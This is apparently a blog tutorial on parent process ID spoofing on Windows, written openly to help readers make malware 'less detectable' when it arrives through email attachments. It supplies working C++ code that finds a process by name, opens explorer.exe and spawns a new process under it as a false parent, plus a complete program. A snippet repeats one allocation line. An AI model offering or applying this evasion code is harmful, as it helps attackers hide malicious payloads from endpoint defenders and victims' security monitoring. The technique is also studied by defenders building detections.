Less Detectable with PPID Spoofing

Hi Friends,

Another small code that allow you to be less detectable on injecting your malware. I found the code from ired.team is very direct and simpler for berginner to understand. https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing

I would like to explain the code basic for you to have some ideas for further development.

What is PPID Spoofing?

The idea of PPID spoofing is basically to change the parent process ID to another legitimate application thus less suspicious to become undetectectable.

Use Case

Just for example scenario, It is common technique that you implement when you want to deliver you malicious payload via email. Let say your payload is delivered via the attachment of an email and in this case the recipient open the attachment directly from the outlook where it will make the malware process will run under the PID of outlook. We would like to avoid outlook to have suspicious child process such as running powershell, cmd or rundll32 which are uncommon that this process running under the process of outlook. we make those processes to a new parent such as explorer.exe that is common to have child process like cmd, powershell and etc.

What is the step ?

First you need to find the running application and get its PID by this code below. Below is a function that you can incorporate into in order find a PID of process by supplying the process name.

DWORD GetPidByName(const char* pName) {
	PROCESSENTRY32 pEntry;
	HANDLE snapshot;

	pEntry.dwSize = sizeof(PROCESSENTRY32);
	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (Process32First(snapshot, &pEntry) == TRUE) {
		while (Process32Next(snapshot, &pEntry) == TRUE) {
			if (_stricmp(pEntry.szExeFile, pName) == 0) {
				return pEntry.th32ProcessID;
			}
		}
	}
	CloseHandle(snapshot);
	return 0;
}

You can skip the above code if you already known what is your target PID using another technique such as CobaltStrike PS. Once you found the target process PID that will become the parent of your malicious process then you need to open the process by using this code. In this case I use explorer.exe with PID 4576

HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 4576);

Copying the Parent Process Information

The next steps is to copy the process environment information from the explorer.exe into new buffer called STARTUPINFOEXA si;

Prepare the size of the attribute

Here is the code to prepare si.lpAttributeList memory size

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

Copying the attribute Information

In this step, we copy the si.lpAttributeList that related to the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS field to point to the explorer.exe process handle. This the important code that actually point the new process to be spawned to become the child process of explorer.exe

UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);

Create The New Process

Create a new Process with the new information within si variable

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

Full Code

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main()
{
	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));

	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 4576);

	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	int PID = CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	printf("The Notepad.exe Process : %d", pi.dwProcessId);

	return 0;
}

When we run the application, it creates new process for notepad.exe under the process of explorer.exe instead of cmd.exe

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s